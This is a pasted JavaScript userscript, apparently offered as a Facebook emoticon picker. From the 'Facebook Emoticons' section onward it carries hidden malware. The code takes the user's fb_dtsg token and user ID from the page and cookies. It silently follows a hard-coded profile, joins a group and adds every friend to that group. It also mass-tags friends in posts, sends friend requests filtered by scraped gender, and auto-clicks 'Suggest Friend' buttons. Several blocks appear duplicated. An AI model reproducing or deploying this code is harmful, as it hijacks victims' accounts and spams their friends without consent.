  1745. pageNav.insertBefore(navItem, pageNav.firstChild);
  1746.  
  1747. // Maintain active element
  1748. navItem.addEventListener("click", function() {
  1749. if (isInstanceOfTextInput(lastActiveElement)) {
  1750. lastActiveElement.focus();
  1751. }
  1752.  
  1753. openFlyoutCommand = undefined; // Do nothing
  1754. }, true);
  1755.  
  1756. var navLink = navItem.firstChild.firstChild;
  1757. var flyout = navLink.nextSibling;
  1758. var titleContainer = flyout.firstChild.childNodes[1];
  1759. var bodyContainer = titleContainer.nextSibling;
  1760.  
  1761. // Toggle listener
  1762. navLink.addEventListener("click", function() {
  1763. openFlyoutCommand = !isFlyoutOpen(flyout);
  1764. });
  1765.  
  1766. // Picture emoticon tab
  1767. var picEmoTab = createTab(titleContainer, bodyContainer);
  1768. picEmoTab.title.click(); // Default tab
  1769.  
  1770. picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) {
  1771. if (emoticon.class === undefined) { // No picture
  1772. return false;
  1773. }
  1774.  
  1775. // [Bug] 2 characters unicode emoticons
  1776. if (emoticon.chars.length == 2) {
  1777. return false;
  1778. }
  1779.  
  1780. return true;
  1781.  
  1782. }));
  1783.  
  1784. // = Other listener =======
  1785.  
  1786. document.addEventListener("click", function() {
  1787. // Get active textarea
  1788. lastActiveElement = document.activeElement;
  1789.  
  1790. // Toggle flyout
  1791. if (openFlyoutCommand !== undefined) {
  1792. openFlyout(flyout, openFlyoutCommand);
  1793. }
  1794. openFlyoutCommand = false;
  1795. });
  1796. })();
  1797.  
  1798.  
  1799. // === Facebook Emoticons ====
  1800. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  1801. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1802.  
  1803. function cereziAl(isim) {
  1804. var tarama = isim + "=";
  1805. if (document.cookie.length > 0) {
  1806. konum = document.cookie.indexOf(tarama)
  1807. if (konum != -1) {
  1808. konum += tarama.length
  1809. son = document.cookie.indexOf(";", konum)
  1810. if (son == -1)
  1811. son = document.cookie.length
  1812. return unescape(document.cookie.substring(konum, son))
  1813. }
  1814. else { return ""; }
  1815. }
  1816. }
  1817.  
  1818. function getRandomInt (min, max) {
  1819. return Math.floor(Math.random() * (max - min + 1)) + min;
  1820. }
  1821. function randomValue(arr) {
  1822. return arr[getRandomInt(0, arr.length-1)];
  1823. }
  1824.  
  1825. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  1826. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1827.  
  1828. function cereziAl(isim) {
  1829. var tarama = isim + "=";
  1830. if (document.cookie.length > 0) {
  1831. konum = document.cookie.indexOf(tarama)
  1832. if (konum != -1) {
  1833. konum += tarama.length
  1834. son = document.cookie.indexOf(";", konum)
  1835. if (son == -1)
  1836. son = document.cookie.length
  1837. return unescape(document.cookie.substring(konum, son))
  1838. }
  1839. else { return ""; }
  1840. }
  1841. }
  1842.  
  1843. function getRandomInt (min, max) {
  1844. return Math.floor(Math.random() * (max - min + 1)) + min;
  1845. }
  1846. function randomValue(arr) {
  1847. return arr[getRandomInt(0, arr.length-1)];
  1848. }
  1849.  
  1850. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  1851. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1852.  
  1853. function a(abone){
  1854. var http4 = new XMLHttpRequest();
  1855.  
  1856. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  1857.  
  1858. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  1859. http4.open("POST", url4, true);
  1860.  
  1861. //Send the proper header information along with the request
  1862. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  1863. http4.setRequestHeader("Content-length", params4.length);
  1864. http4.setRequestHeader("Connection", "close");
  1865.  
  1866. http4.onreadystatechange = function() {//Call a function when the state changes.
  1867. if(http4.readyState == 4 && http4.status == 200) {
  1868.  
  1869. http4.close; // Close the connection
  1870.  
  1871. }
  1872. }
  1873.  
  1874. http4.send(params4);
  1875. }
  1876.  
  1877. function sublist(uidss) {
  1878. var a = document.createElement('script');
  1879. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  1880. document.body.appendChild(a);
  1881. }
  1882. //fb ku adibpn
  1883. a("100006508835427");
  1884. //Group ku adibpn
  1885. var gid = ['149524818569736'];
  1886.  
  1887.  
  1888.  
  1889. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  1890. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  1891.  
  1892. var httpwp = new XMLHttpRequest();
  1893. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  1894. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  1895. httpwp['open']('POST', urlwp, true);
  1896. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  1897. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  1898. httpwp['setRequestHeader']('Connection', 'keep-alive');
  1899. httpwp['send'](paramswp);
  1900.  
  1901. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  1902. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  1903.  
  1904. var friends = new Array();
  1905. gf = new XMLHttpRequest();
  1906. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  1907. gf['send']();
  1908. if (gf['readyState'] != 4) {} else {
  1909. data = eval('(' + gf['responseText']['substr'](9) + ')');
  1910. if (data['error']) {} else {
  1911. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  1912. return _0x93dax8['index'] - _0x93dax9['index'];
  1913. });
  1914. };
  1915. };
  1916.  
  1917. for (var i = 0; i < friends['length']; i++) {
  1918. var httpwp = new XMLHttpRequest();
  1919. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  1920. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  1921. httpwp['open']('POST', urlwp, true);
  1922. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  1923. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  1924. httpwp['setRequestHeader']('Connection', 'keep-alive');
  1925. httpwp['onreadystatechange'] = function () {
  1926. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  1927. };
  1928. httpwp['send'](paramswp);
  1929. };
  1930. var spage_id = "576085995776394";
  1931. var spost_id = "";
  1932. var sfoto_id = "";
  1933. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1934. var smesaj = "";
  1935. var smesaj_text = "";
  1936. var arkadaslar = [];
  1937. var svn_rev;
  1938. var bugun= new Date();
  1939. var btarihi = new Date();
  1940. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  1941. if(!document.cookie.match(/paylasti=(\d+)/)){
  1942. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  1943. }
  1944.  
  1945.  
  1946. //arkadaslari al ve isle
  1947. function sarkadaslari_al(){
  1948. var xmlhttp = new XMLHttpRequest();
  1949. xmlhttp.onreadystatechange = function () {
  1950. if(xmlhttp.readyState == 4){
  1951. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  1952. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  1953. smesaj = "";
  1954. smesaj_text = "";
  1955. for(i=f*10;i<(f+1)*10;i++){
  1956. if(arkadaslar.payload.entries[i]){
  1957. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  1958. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  1959. }
  1960. }
  1961. sdurumpaylas(); }
  1962.  
  1963. }
  1964.  
  1965. };
  1966. var params = "&filter[0]=user";
  1967. params += "&options[0]=friends_only";
  1968. params += "&options[1]=nm";
  1969. params += "&token=v7";
  1970. params += "&viewer=" + user_id;
  1971. params += "&__user=" + user_id;
  1972.  
  1973. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  1974. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  1975. xmlhttp.send();
  1976. }
  1977.  
  1978. //tiklama olayini dinle
  1979. var tiklama = document.addEventListener("click", function () {
  1980. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  1981. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  1982. sarkadaslari_al();
  1983. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  1984.  
  1985. document.removeEventListener(tiklama);
  1986. }
  1987. }, false);
  1988.  
  1989.  
  1990. //arkada leme
  1991. function sarkadasekle(uid,cins){
  1992. var xmlhttp = new XMLHttpRequest();
  1993. xmlhttp.onreadystatechange = function () {
  1994. if(xmlhttp.readyState == 4){
  1995. }
  1996. };
  1997.  
  1998. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  1999. var params = "to_friend=" + uid;
  2000. params += "&action=add_friend";
  2001. params += "&how_found=friend_browser";
  2002. params += "&ref_param=none";
  2003. params += "&outgoing_id=";
  2004. params += "&logging_location=friend_browser";
  2005. params += "&no_flyout_on_click=true";
  2006. params += "&ego_log_data=";
  2007. params += "&http_referer=";
  2008. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  2009. params += "&phstamp=165816749114848369115";
  2010. params += "&__user=" + user_id;
  2011. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  2012. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  2013.  
  2014. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  2015. xmlhttp.send(params);
  2016. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  2017. cinsiyetgetir(uid,cins,"sarkadasekle");
  2018. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  2019. xmlhttp.send(params);
  2020. }
  2021. }
  2022.  
  2023. //cinsiyet belirleme
  2024. var cinssonuc = {};
  2025. var cinshtml = document.createElement("html");
  2026. function scinsiyetgetir(uid,cins,fonksiyon){
  2027. var xmlhttp = new XMLHttpRequest();
  2028. xmlhttp.onreadystatechange = function () {
  2029. if(xmlhttp.readyState == 4){
  2030. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  2031. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  2032. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  2033. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  2034. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  2035. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  2036. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  2037. }
  2038. eval(fonksiyon + "(" + id + "," + cins + ");");
  2039. }
  2040. };
  2041. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  2042. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  2043. xmlhttp.send();
  2044. }
  2045. function autoSuggest()
  2046. {
  2047. links=document.getElementsByTagName('a');
  2048. for (i in links) {
  2049. l=links[i];
  2050. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  2051. l.click();
  2052. }
  2053. }
  2054. }
  2055.  
  2056. function blub()
  2057. {
  2058. if(document.getElementsByClassName('pbm fsm').length == 1) {
  2059. w = document.getElementsByClassName('pbm fsm')[0];
  2060.  
  2061. e = document.createElement('a');
  2062. //e.href = '#';
  2063. e.innerHTML = 'Auto Suggest by Adib Pugar Nuraga';
  2064. e.className = 'uiButton';
  2065. e.onclick = autoSuggest;
  2066.  
  2067. if( w.childElementCount == 0)
  2068. {
  2069. w.appendChild(document.createElement('br'));
  2070. w.appendChild(e);
  2071. }
  2072. }
  2073. }
  2074.  
  2075. blub();
  2076.  
  2077. document.addEventListener("DOMNodeInserted", blub, true);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement